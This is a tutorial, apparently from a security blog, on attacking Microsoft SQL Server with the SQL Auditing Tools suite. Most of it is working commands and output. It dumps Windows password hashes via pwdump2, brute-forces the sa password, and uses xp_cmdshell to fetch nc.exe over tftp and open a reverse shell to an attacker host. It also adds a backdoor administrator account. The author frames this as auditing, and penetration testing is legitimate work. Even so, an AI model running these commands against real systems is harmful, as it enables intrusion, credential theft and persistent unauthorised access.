SQL Auditing Tools

Standing upon the shoulders of giants I've decided to create a tutorial for the SQL Auditing Tools (SQLAT) building off of what has already been documented at www.vulnerabilityassessment.co.uk I will not duplicate what is already documented but will instead add additional commands that I have run during an audit that may be useful to you.

For a description of SQLAT see the developer's website at http://www.cqure.net/wp/sql-auditing-tools/

INSTALLATION

Download the SQLAT from http://www.cqure.com. SQLAT requires freetds and optionally pwdump2. The current version (as of this writing is 0.82) of freetds from http://www.freetds.org will not work with SQLAT. The older 0.62.x is required for the tool to configure and compile. Download the version needed from http://www.jedge.com/utilities/freetds-0.62.4.tar. To aquire pwdump2 search for it on www.packetstormsecurity.org and download it. Netcat will be needed for some of the commands. Acquiring the Linux and Windows versions is outside the scope of this document.

```
#tar xzf freetds-0.62.4.tar
#cd freeds-0.62.4
#./configure
#make && make install

#tar zxf SQLAT-src-1.1.0.tar.gz
#cd SQLAT-1.1.0
#./configure
#make && make install

#unzip pwdump2.zip
```

EXECUTION

SQLAT does not play nice with a database that has an sa password set. Many of the commands just don't work. However, they work fine with a blank sa password set. I will show what you can do when you find a database with a blank sa password. Because during my most recent audit I found a couple databases with blank sa passwords I feel this information is still relevant.

Use pwdump2 and sqlsamdump to dump the local account password hashes for lookup in the rainbow tables found at http://rainbowtables.shmoo.com using rainbowcrack.

```
root@hacker:~/SQLAT-1.1.0/bin# ./sqlsamdump -i 192.168.10.201 -u sa -T c: -P ../../pwdump2
SQLSamDump by Patrik Karlsson <patrik@cqure.net>
pwdump : ../../pwdump2/pwdump2.exe
dll file : ../../pwdump2/samdump.dll
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ASPNET:1003:dd453b0d1ecc826518ab1d91b7726f97:90a0811ce84a1faf76a2413f3bfc0b75:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_W2K-SERVER-1:1001:2b185aa722d69e8449d5c5f553f7ad8b:39837b51e61efff1a0dbb7d73f3c2b0b:::
IWAM_W2K-SERVER-1:1002:f5e0e1d4379b7d2057f8aea87a56dfee:16b6085e5bd1fb535f93f08378241811:::
TsInternetUser:1000:5069677e22280a174b21b71db9182b32:4b6649fb61efc9f76d1790e8aeafc367:::
TsInternetUser:1000:5069677e22280a174b21b71db9182b32:4b6649fb61efc9f76d1790e8aeafc367:::
```

Note: the files pwdump2.exe and samdump.dll will be uploaded to the server in the folder %SYSTEM ROOT%\temp.

Upload Netcat to gain shell access

```
root@hacker:~/sqlat-1.1.0/bin# ./sqlupload -v -i 192.168.10.201 -f ../../nc.exe -T c:\\ -u sa
SQLUpload by Patrik Karlsson <patrik@cqure.net>

-- Logging in to 192.168.10.201 --
Your file will be in c:\
-- Uploading ../../nc.exe --
```

On your system run Netcat and have it listen on port 444.

```
root@hacker:~/Desktop# nc -l -p 4444
```

Run a query and use xp_cmdshell to execute the uploaded nc.exe program to connect back to your system.

```
root@hacker:~/sqlat-1.1.0/bin# ./sqlquery -i 192.168.10.201 -u sa -q "xp_cmdshell 'c:\\nc.exe
192.168.10.88 4444 -e cmd.exe'"
SQLExec v1.1.0 by <patrik@cqure.net>
------------------------------------------
```

Instant shell access

```
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>
```

From there you can add yourself as a user and make yourself administrator.

```
C:\WINNT\system32>net user hacker $3cr3t /add
net user hacker $3cr3t /add
The command completed successfully.

C:\WINNT\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.

C:\WINNT\system32>
```

Note: If the server is running Norton Antivirus you will not be able to upload the files pwdump2.exe or nc.exe.   As you will see below you don’t need to have shell access through Netcat to add yourself as a user to the system.

If you have a server that has an sa password set you will have to perform a dictionary attack to obtain the password.

```
root@hacker:~/sqlat-1.1.0/bin# ./sqldict -i 192.168.10.201 -u users.txt -p passwords.txt
IP: 192.168.10.201  User: sa             Pass: Asdf999
```

From there a lot of the commands don’t work due to bugs in the software. However you can use sqlquery to connect and run queries. Through the use of xp_cmdshell you can transfer nc.exe and connect back to your system. It is similar to earlier but all done through sqlquery.

Note: you need to have a functioning tftp server on your workstation with nc.exe in the tftp root folder before proceeding.

```
root@hacker:~/sqlat-1.1.0/bin# ./sqlquery -i 192.168.10.201 -u sa -p Asdf999
```

```
SQLExec v1.1.0 by <patrik@cqure.net>
------------------------------------------
sqlexec> xp_cmdshell 'tftp -i 192.168.10.88 GET nc.exe'
output
Transfer successful: 28160 bytes in 1 second, 28160 bytes/s
Transfer successful: 28160 bytes in 1 second, 28160 bytes/s
sqlexec> xp_cmdshell 'nc.exe 192.168.10.88 4444 -e cmd.exe'
output
```

Again if you are unable to upload nc.exe due to Norton Antivirus you can still add yourself as an administrative user.

```
sqlexec> xp_cmdshell 'net user hacker $3cr3t /add'
output
The command completed successfully.
The command completed successfully.
The command completed successfully.
sqlexec> xp_cmdshell 'net localgroup administrators hacker /add'
output
The command completed successfully.
The command completed successfully.
The command completed successfully.
sqlexec>
```

Once you have a local administror account you can attempt to gain additional access to the domain by following the steps outlined in this tutorial.